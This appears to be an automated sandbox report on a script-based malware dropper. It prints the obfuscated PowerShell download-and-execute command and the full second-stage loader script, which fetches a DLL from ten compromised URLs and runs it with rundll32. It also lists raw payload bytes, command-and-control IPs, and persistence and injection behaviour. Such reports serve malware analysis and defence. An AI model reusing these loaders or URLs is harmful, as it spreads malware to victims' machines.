cmdline	powershell -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Jan. 18, 2022, 10:04 a.m.	show_type: 0 filepath_r: powershell parameters: -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X filepath: powershell	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (29 events)

Time & API	Arguments	Status	Return
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: smss.exe process_identifier: 228	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: csrss.exe process_identifier: 308	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: csrss.exe process_identifier: 372	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: winlogon.exe process_identifier: 412	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: services.exe process_identifier: 448	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: lsm.exe process_identifier: 472	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 584	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 664	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 788	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 840	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 1000	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: spoolsv.exe process_identifier: 320	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 1056	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 1180	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: IMEDICTUPDATE.EXE process_identifier: 1240	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: taskhost.exe process_identifier: 1260	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: dwm.exe process_identifier: 1364	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: explorer.exe process_identifier: 1388	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: svchost.exe process_identifier: 1872	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: pw.exe process_identifier: 2040	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: SearchIndexer.exe process_identifier: 928	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: SearchFilterHost.exe process_identifier: 2064	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: pw.exe process_identifier: 2752	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: sppsvc.exe process_identifier: 2928	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: taskhost.exe process_identifier: 2988	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: SearchProtocolHost.exe process_identifier: 2196	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: powershell.exe process_identifier: 1424	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: conhost.exe process_identifier: 2688	1	1
Process32NextW Jan. 18, 2022, 10:05 a.m.	snapshot_handle: 0x0000017c process_name: rundll32.exe process_identifier: 824	1	1

File has been identified by 6 AntiVirus engines on VirusTotal as malicious (6 events)

Cyren	VBS/Agent.AIB
Avast	SNH:Script [Dropper]
Kaspersky	HEUR:Trojan-Downloader.Script.Generic
McAfee-GW-Edition	BehavesLike.HTML.ExploitBlacole.lg
Ikarus	Trojan.Script
AVG	SNH:Script [Dropper]

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Jan. 18, 2022, 10:05 a.m.	process_identifier: 456 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 139264 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00571000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Jan. 18, 2022, 10:05 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (6 events)

Data received	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 18 Jan 2022 01:05:41 GMT Content-Type: image/png Content-Length: 1080 Last-Modified: Mon, 17 Jan 2022 19:33:33 GMT Connection: keep-alive ETag: "61e5c48d-438" Accept-Ranges: bytes
Data received	$path = "C:\Users\Public\Documents\ssd.dll"; $url1 = 'http://mecaglobal.com/qxim/TlDTjlxYAdwU/'; $url2 = 'http://2021.posadamision.com/wp-admin/gO7Qvfd1/'; $url3 = 'http://mymicrogreen.mightcode.com/pub/WwQe6kKVIsa/'; $url4 = 'http://mawroyalmedia.com.ng/l1o2x/mAgab05/'; $url5 = 'http://pokawork.com.ng/-/uLYqpe6E8FH2DkM/'; $url6 = 'http://ariesnetwork.co.uk/cgi-bin/QO5VMUFERLpCd/'; $url7 = 'http://clatmagazine.com/p8wl/714/'; $url8 = 'https://animalkingdompro.com/wp-includes/TjXLWDUyhJuvIsPR/'; $url9 = 'http://bitcoin-up.fomentomunivina.cl/assets/w82JxkF70pHiMXtSm/'; $url10 = 'https://cr.almalunatural.com/b/GbQllyWCCy4bJWG2PW/'; $web = New-Object net.webclient; $urls = "$url1,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9,$url10".split(","); foreach ($url in $urls) { try { $web.DownloadFile($url, $path); if ((Get-Item $path).Length -ge 30000) { [Diagnostics.Process]; break; } } catch{} } Sleep -s 4;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\Users\Public\Documents\ssd.dll',AnyString;
Data received	Æ^]ÂAxÀt=ñtjPÿ¬ÃVèË÷ÿÿðöuè.Îÿ(Î^Àuéæµé¶ÿUìVW}ñÿtÿt ÿÿtèX.=,½tòjèª¾¾~!ÿ5,½ÿÿ~$¾uëÿ¶¦ÿjè(ª_^]ÂyXtIXÿ` 3À@ÃÿUì}uèÖ-8t È]ÿb]ÂÿUìyXuè-IX]ÿ`ÿUìÁMÉuè-8ujÿë QÈÿR]ÂÿUìyXt IX]ÿ`03À]ÂÿUìEÀ\|;A\|èA-I]ÂA jjjÿp ÿÃÿUìVñWÉuè-Eºá;Ârïyú;Çsæ¸ðÿÿWèÿÿÿPÎÿÀuWÿ3À_@^]Âèó;ìÃjhèÕ3Û]àEàPèAÿ°èï9EÜ]ä;Ãu3Àë']üÿuÿuÿuÿuÿEäÇEüþÿÿÿèEäèõÔÃ3Û}Üt.3À9]äÀð;ót ÿ,øë3ÿÿuàSèr9;ótWÿxÃÿUìVèFõÿÿðöt%Îÿ(Àt8tÿuÈÿRd^]ÃÿUìSxVuWöuè ÿÿÿÀu èõôÿÿÀu3öëp ëjðVÿ¤©@t VÿÓðöuçþÆöt PøÿÓÀu÷}u öt Vÿ ð]Ût#ÿtWÿÀt;þt jW;ÿë#_Æ^[]ÂÿUìÿuèÿÿÿY]ÂÿUìì¡°d3ÅEüESVW}3öVäþÿÿèéþÿÿYôþÿÿPVèÿÿÿØèþÿÿ;ôþÿÿt jSÿ!µìþÿÿìþÿÿPSÿ¨Ût&ÿ(9ìþÿÿujjhvSÿÀtðëÿtwx¥ðþÿÿötðþÿÿEÀtöEðuEàøvÀýøw M ëM0Æøþÿÿÿt_Pëøþÿÿ¿WÃPjÿD;ÇuÆEûÿuSÿµäþÿÿÿµèþÿÿè^ýÿÿÄøötðþÿÿ½ôþÿÿtjÿµôþÿÿÿjèÆýÿÿYMüÇ_^3Í[èô¢ÉÃÿUìè·>@ÀtÈ]ÿ¢ÿuÿuÿujèsþÿÿÄ]ÂÿUìÿuÿuÿuQèXþÿÿÄ]Âj¸>rèºËMðèÂ×ÿÿÿueüMðè³ØÿÿEøÿuEuðPÿuVèwÿÿÿNðøèÑÏÿÿÇèRÌÂyXu3ÀÃIXÿ`ÿUìyXuè)IX]ÿ`ÿUì}u3À]Ã]éDÓÿUìEVñøÿu ÿpøPèÐÿÿÿYYPÎèóÞÿÿ^]ÂÿUìQS]VpôW}+øMüÛ} hWèÍÿÿÿuè¿Ýÿÿ;ØY~Ø¸ÿÿÿ+Ã;Æ\|ÜMüPEèNÞÿÿ;þwøë}SWÆSPè¬MüÄÿuèzÞÿÿ_^[ÉÂÿUìEVWù7Hðî;Ît0~\|;uSQèáÿÿYÎØè¬ÎÿÿÃ[ëÿpôÏPèéßÿÿÇ_^]Âj¸=bè5ÊueðÎèÚÿÿMPè^ÚÿÿÿpôeüPÿuÇEðèåÜÿÿYPÿuÿuèøÜÿÿEÄèÅÊÃÿUìVÿuñè¼ÜÿÿYPÿuÎèÂþÿÿ^]ÂÿUìVÿuñè(ÿÿÿÆ^]ÂÿUìVÿuñè¸ÿÿÿÆ^]ÂÿUìVÿuñèÙÿÿÿÆ^]Âh$¸ybèÊEuPÜþÿÿµÔþÿÿè/Ûÿÿ3ÿ}üþuQèÔ4øuGÜþÿÿPàþÿÿhØPèïþÿÿÄPÜþÿÿÆEüèþÿÿàþÿÿÁðÆEüè[ÍÿÿÇÔþÿÿØþÿÿPÿµÜþÿÿÿµÔþÿÿÿð;÷¾häþÿÿPWÿµØþÿÿÿð;÷uoäþÿÿPàþÿÿÆEüèùÔÿÿàþÿÿPÿµØþÿÿÆEüè ÿÿÿàþÿÿð;÷ÃÁðÆEüèÊÌÿÿÛu&}üëÐþÿÿÇàþÿÿè%¸ºEÃµàþÿÿþtþòuÿµÜþÿÿÿµÔþÿÿÿðÿµØþÿÿÿ ÜþÿÿÁðèbÌÿÿÆèÉÂh$¸ÂbèbÈ3ÿñ½àþÿÿ½ÔþÿÿèmüÿÿØþÿÿ;Çt&ØþÿÿPÎèfüÿÿ;ÇtWWjüWÈÿR9½ØþÿÿuÚ9~T 3À9~hÀ;Çuè]%hðäþÿÿèÚÓÿÿÿvTäþÿÿ}üèýÿÿhìäþÿÿPÐþÿÿPèaÕÿÿÿvhÆEüPÜþÿÿPèMÕÿÿÄÐþÿÿÁðÆEüèËÿÿÜþÿÿP¾Vè ýÿÿàþÿÿPÿµäþÿÿVÿÀu9hèþÿÿPWÿµàþÿÿÿ=u äþÿÿPVè[ýÿÿÿµàþÿÿÿ ÔþÿÿPèþÿÿPÿµÜþÿÿVÿÜþÿÿÁðèüÊÿÿäþÿÿÁðèîÊÿÿ3À@èÇÃÿUìÿuÿuÿuÿuèX¨PèÒìÿÿÄ]ÃÀué.$3Ò¹ÿÿf9HÂÂÃÿUìSVuÆèÓÿÿÿÀt^NëNWºÿÿúj^f99uÁë f9Îfÿuö_f9uÁë fÎfÒuöfÎfÒuööÃ@t3ÒÀÂTQfÎfÀuöA^àü[]ÂÿUì}EtÀëÀ¹ÿÿÑf9uÀë f@@fÒuöf9uÀë f@@fÉuö·@@fÉt}uÁþÿ·ÉDàü]ÂÿUìÿuMÿuÿuèóµ]ÂÿUììS]VWÃñèÃþÿÿÀCuC·@PjèJÍ}YYGÀãPSÎÿRSEôè£þÿÿðÃèþÿÿEüÃèvþÿÿÀCuC·3ÉjZÃ÷âÁ÷ÙÈQèPßÿÿËÁáQjPGèVÀeÄ_Û~pÿuüVèÎþÿÿEøEÁà}ütOVNvë·NWN6ºÿÿf9uºf9QuÎáù u3ÉAë3ÉÿE9]WuøL\|EôÀuE_^[ÉÂÿUìVuÀtPÿ FÀtPèF Yÿvè³ÞÿÿY^]ÂÿUììSVuWVèýÿÿø}ð+þÆ}üè\ýÿÿEøÆèRýÿÿÀFuF·eôuðEìÀ~7ØÿuøVèÏýÿÿ}øNuNf9{u ÇEôëÈ+ÎMüKðuÐ9]ôu E
Data received	UÈRjjh¤Íÿ·PÿQEäPÿQ§}t ÿuÿÀ}t ÿuÿÀ}t ÿuÿÀÿEìEèMüÿE¸Pÿð}àÛþÿÿÿEðEð;F þÿÿfD3Àè Ãj¸!nè»ñuèÇÄ¤F 3ÛÇEü;Ãt9pluXl;Ëtjè÷ÿÿÎèØ¦ÿÿÿv`F@PÎè÷¢ÿÿÿvdÎhTÏèè¢ÿÿÿ¶ÎhäÍèÖ¢ÿÿF\;Ãt PÿQ^\FT;ÃtPÿQFTPÿQ^TFX;Ãt PÿQ^XFP;ÃtSPÿQFPjPÿQFPPÿQ^P¬Pÿð8;ût(OG;Ãt9t SWÿPWèk°þÿY9t;Ãt9tSVÈÿRF ;Ãt9^ttÿHt]ìUìRØ¿ÎWPÆEüÿ;Ã\|ÿuìèq-]ðUðRÜWPÆEüÿ;Ã\|ÿuðèN-EðÆEü;ÃtPÿQEìÆEü;ÃtPÿQ¼ÆEüèkI¤éèCþÿMüÿÎè³þÿè»ÃÿUìVñèþÿÿöEtVè¯þÿYÆ^]ÂÿUìUÒu3ÀëMÉu3ÀëAQPhÿr ÿ]ÂÿUìEHÉtÿuè/£ÿÿÀt3À@]Ã3À]ÃÿUìVuötFÀtH$ëÉtQÿÀu3À^]ÃÀtÈÿPx©uévötâ÷Fp tÙ3À@ëÖÿUìEÀu]ÃHPÉt]éÿÿjPè1ÿÿÿà0]ÃÿUìEÀt@ ÿuPÿq ÿLPè¾3ÿÿ]ÂÿUìEÀt@ Pÿq ÿX]ÂÿUìVujVèØþÿÿ¨tjÿjh±ÿv ÿÎèµbÿÿ^]ÂÿUìSVu3ÛötAW=¤jðÿv ÿ×%À=@u&;ut!ÿv ÞÿxPè3ÿÿðjìÿv ÿ×©tÇ_^Ã[]ÂÿUìVuWöjÎèdÿÿ}ë)ÿv ÿxPèâ2ÿÿPWèqÿÿÿðöt\;÷tXjÎèïcÿÿÀtÓjÎèâcÿÿðjìÿv ÿ¤©tSS]öÃt ÿv ÿÌÀtöÃt,ÎèaÿÿÀu!SVWë }ÿw ÿPèj2ÿÿðöu«ÇëSjVèFÿÿÿð[Æ_^]ÂÿUìS]ÛtcVÃ3öWxLÿupPöuÿp ÿxPè2ÿÿÀußÀt6ÿu2Îÿ°ÿ\|Pèú1ÿÿ;Ãtÿs ÿDÀt_^Ë[]é$aÿÿ_^[]ÃÿUìVuötoÿv ÿDÀtbW};÷tYÆpLöuÿp ÿxPè1ÿÿÀuæë;Vh3ÀÒt9Btuÿr$è1ÿÿÀt!ÿtÀt;øtWÈè±ýÿÿÀu jÎÿP`_^]ÃÿUìW}ÿuÏèí^ÿÿÀu:SjPWè(þÿÿØ;ßu3Àë%VóÎè§_ÿÿ;EtjVWèþÿÿðöt;óuá3À^[_]ÂÆëõÿUìVuNPÉt ÿuè§ÿÿë2jVèüÿÿM÷ÙÉáÁÁt3À9EjÀPhôÿv ÿ^]ÃÿUìVuWötjìÿv ÿ¤©uVÿuèýÿÿëjjÿuèiýÿÿøÿt!÷jVèjÿÿÿYYjVÿuèLýÿÿðöt;÷uá_^]ÂÿUìEjjhÿp ÿÈÁéºKSf;Êu·Àë3À@]ÂÿUìQeüS]W}WËèDüÿÿÀºÿt jìÿw ÿ¤© WèÎûÿÿYEüEV;Çu8öEü Àt%SèiÿÿÿPSèUþÿÿðöt;÷tVèûÿÿY¨tVëjWëNÀtPèûÿÿYÀu ÿt }ütWSèÁþÿÿöEü0uÕSèÿÿÿPSèþÿÿðVèOûÿÿY¨ tÎèO^ÿÿÀt jVè?þÿÿYY^_[ÉÂÿUìMèÿÿÀt?HDVWMÉt/ux@EPÏèxÌþÿHÉtI$;N t;N t}u×3À_^]ÂÿUìSVW}ÿuèìþÿ]eóÛtJCÀt@$ëÀt8Pè©.ÿÿPWè8ûÿÿÀt'PWèaÿÿÿðëÿE;ót#}<ÿuVèûùÿÿYYÀuMVÏèfÿÿðöuÖÏèÖÿÿøÿÀODMÛt+3ÀÉ¬;Ãt-EPO@è¤Ëþÿ}uèëÆéEPO@èËþÿÃ}tuÀtqÛtm}uGDEEPO@è]Ëþÿ0ÿuVè`ùÿÿYYÀt@ötFÀt@$ëÀt PÿÀuë~ÜþÿÿNÿPx©rÿÿÿ;óu3À_^[]ÂÿUìQeüSVWÿuÿuèAþÿÿøÿuKMèÝÿÿØÛt=CDEÀt3EPK@è½Êþÿ0FÀt;Cpt>t ÿ\|9t}uÑëþ3öÿuWÿuè6þÿÿø3Û;ûtjWè¬øÿÿYÀtMSWèâ^ÿÿø;ûtO;ût!G;Ãt@$ë;ÃtPÿÀtÇë,9_t.OÿPx©tè;}üt9]üu}üFþ\|3À_^[ÉÂèhêþÿÌj(¸<nèËEÀu!EÔë@ EÔ}wuäÿ\|PEÐèa,ÿÿ»Eì;órþ vÆþÿÿþ ¯À§=xð~Pu!ÿv ÿ×Pè,ÿÿ;Etÿv ÿ×Pè ,ÿÿðöuÙöt#FPÀtxXt@XÿuPÿQÀu@éµ}ät9]ät }äu7öt3vPöt,E·@fø u öuføuöt3Àég}ÿ73öuèè+ÿÿ!uØEàEä+ÃÇEÜHHtèª9EìujÿÈfÀf Wÿuàèöÿÿ}äu¨us·Ofù u¨uefù vÿÿÿWÿuàÿuètýÿÿÀtK@ÀtDWÈèjÿÿé·Wÿuàè.öÿÿ·Où8ùù ù ;E÷@<u5ÿuÿp ÿHEèÀt"5\|ÿÖPèÿÿ;EìtÿÖPèzÿÿPè(øÿÿYÿuÐ5DÿÖÀt6=\|ÿ×PèVÿÿPÿuìètøÿÿYYÿuÔÿÖÀtÿ×Pè:*ÿÿPÿuìÿuèúÿÿEèèÂ¨gÿÿÿjÿÈu3ÛfÀÃÎSjèå[ÿÿÀBÿÿÿxt@WÈÿ¬é©ÀtPèÑ)ÿÿëSÿuàÎèxÚþÿøÿFL
Data received	¯Â+ \|¯ +Á++\|\|¯+Â+x ¯ +Á+\|\|¯¯¯Â+ \|¯ +Á++\|\|¯+Â+x ¯ +Á+\|\|¯¯¯Â+ \|¯ +Á++\|\|¯+Â+x ¯ +Á+\|\|¯¯¯Â+ \|¯ +Á++\|EøkÒHEôH+ÊkÒHÊ¡¯\|¯¯\|kÀH+ÈkÒHÊ¡¯kÀHÈkÒH+Ê¡kÀH+ÈkÒH+Ê¡kÀH+È\|kÒHÊ¡x¯\|kÀH+ÈxkÒH+Ê¡\|kÀH+ÈxkÒHÊ¡x¯x¯¯kÀHÈ¯xkÒHÊ¡kÀHÈkÒH+Ê¡kÀH+ÈkÒH+Ê¡kÀH+ÈMüMQUüB0PèøÿÿÄÀuMüAékUüEüMø+ \|+ ¯+Ê+ x+ x¡x¯+È+ x+ \|¯¯x Ñx¡¯x¯+Ðx+\|+ ¯ +Ñ+x+x¡x¯+Ð+x+\| ¯ ¯ xÊ x¯x¯+Ê x+ \|+ ¡¯+È+ x+ xx¯+Ê+ x+ \|¡¯¯x Áx ¯ x¯ +Áx+\|+¯+Â+x+x x¯ +Á+x+\|¯¯xÐx¡¯x¯+Ðx+\|+ ¯ +Ñ+x+x¡x¯+Ð+x+\| ¯ ¯ xÊ x¯x¯+Ê x+ \|+ ¡¯+È+ x+ xx¯+Ê+ x+ \|¡¯¯x Áx ¯ x¯ +Áx+\|+¯+Â+x+x x¯ +Á+x+\|¯¯xÐx¡¯x¯+Ðx+\|+ ¯ +Ñ+x+x¡x¯+Ð+x+\| ¯ ¯ xÊ x¯x¯+Ê x9Müuûÿÿ3Àå]ÃÌÌÌÌÌÌÌÌÌÌUìì(MØEHMðÇEôUEøMøyu ¸éåUøEðEüë MüÁMüjUüRÿÀ¸Eüx«MQ(REüMðHQUBÿÐÄEà}àuj~ÿxÇEôérMQPMQRèMòÿÿÄEè}èu*EH(QUàREH$ÿÑÄjÿxÇEôé"UEèBMQEHEàMQÂEPMü9tUüEðEäMüUðQUìëEüMðHMäUüEðBEìëMäÁMäUìÂUìEä8txMäât(EH(QUä%ÿÿPMàQUB ÿÐÄMìë-UäEðEÜMQ(REÜÀPMàQUB ÿÐÄMìUì:u ÇEôëénÿÿÿ}ôu EH(QUàREH$ÿÑÄjÿxëé+þÿÿEôå]ÂÌÌÌÌÌÌÌÌÌÌÌÌUìjÿh¾sd¡PQ¡°d3ÅPEôd£MðEPjfMðèÐ ýÿÇEüMðÇ$Øhè¢¾üÿÈèÀüÿUðBtÇEüÿÿÿÿEðMôd Yå]ÂÌÌÌÌÌÌÌÌÌÌUìjÿh td¡Pì¡°d3ÅPEôd£MèMèèÿýÿjMèè¿üÿEð}ðt]MìèUÅüÿÇEüjeMìèDÆüÿMìè,Èüÿ¶ÀÀu&jjhMðèt¾üÿMìèüÇüÿPjjMðè_¾üÿÇEüÿÿÿÿMìèÀÅüÿjMèQtRMèè¿üÿjEèHtQMèèþ¾üÿ¸Môd Yå]ÃÌÌÌÌÌÌÌÌÌÌUìì`M ÇE¼ÇEðj@EPM è[ÔÿÿÀu3ÀéêMMôUô·=MZthÁÿx3ÀéÅMôQ<ÂøREPM èÔ
Data received

Poweshell is sending data to a remote host (2 events)

Data sent	GET /PP91.PNG HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive
Data sent	GET /qxim/TlDTjlxYAdwU/ HTTP/1.1 Host: mecaglobal.com Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Jan. 18, 2022, 10:05 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Expresses interest in specific running processes (1 event)

process

rundll32.exe

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2256 CREDAT:145409

Communicates with host for which no DNS query was performed (20 events)

host	103.8.26.102
host	103.8.26.103
host	104.168.155.129
host	131.100.24.231
host	178.63.25.185
host	178.79.147.66
host	185.7.214.7
host	192.254.71.210
host	203.114.109.124
host	207.38.84.195
host	209.59.138.75
host	212.237.17.99
host	217.182.143.207
host	45.142.114.231
host	45.176.232.124
host	46.55.222.11
host	51.38.71.0
host	51.68.175.8
host	58.227.42.236
host	79.172.212.216

Installs itself for autorun at Windows startup (1 event)

service_name

lblzasgj.kjy

service_path

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy",iwpn

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW Jan. 18, 2022, 10:05 a.m.	service_start_name: start_type: 2 password: display_name: lblzasgj.kjy filepath: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy",iwpn service_name: lblzasgj.kjy filepath_r: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy",iwpn desired_access: 2 service_handle: 0x005beb80 error_control: 0 service_type: 16 service_manager_handle: 0x005b3e28	1	6024064	0

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

iexplore.exe

martian_process

powershell -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send Jan. 18, 2022, 10:05 a.m.	buffer: GET /PP91.PNG HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive socket: 1192 sent: 69	1	69	0
send Jan. 18, 2022, 10:05 a.m.	buffer: GET /qxim/TlDTjlxYAdwU/ HTTP/1.1 Host: mecaglobal.com Connection: Keep-Alive socket: 1216 sent: 82	1	82	0

One or more non-whitelisted processes were created (3 events)

parent_process	iexplore.exe	martian_process	powershell -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString

Attempts to remove evidence of file being downloaded from the Internet (1 event)

file	C:\Windows\SysWOW64\Kgeyspeml\lblzasgj.kjy:Zone.Identifier

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2256 resumed a thread in remote process 2404
NtResumeThread Jan. 18, 2022, 10:04 a.m.	thread_handle: 0x0000000000000358 suspend_count: 1 process_identifier: 2404	1	0	0

The process powershell.exe wrote an executable file to disk (21 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
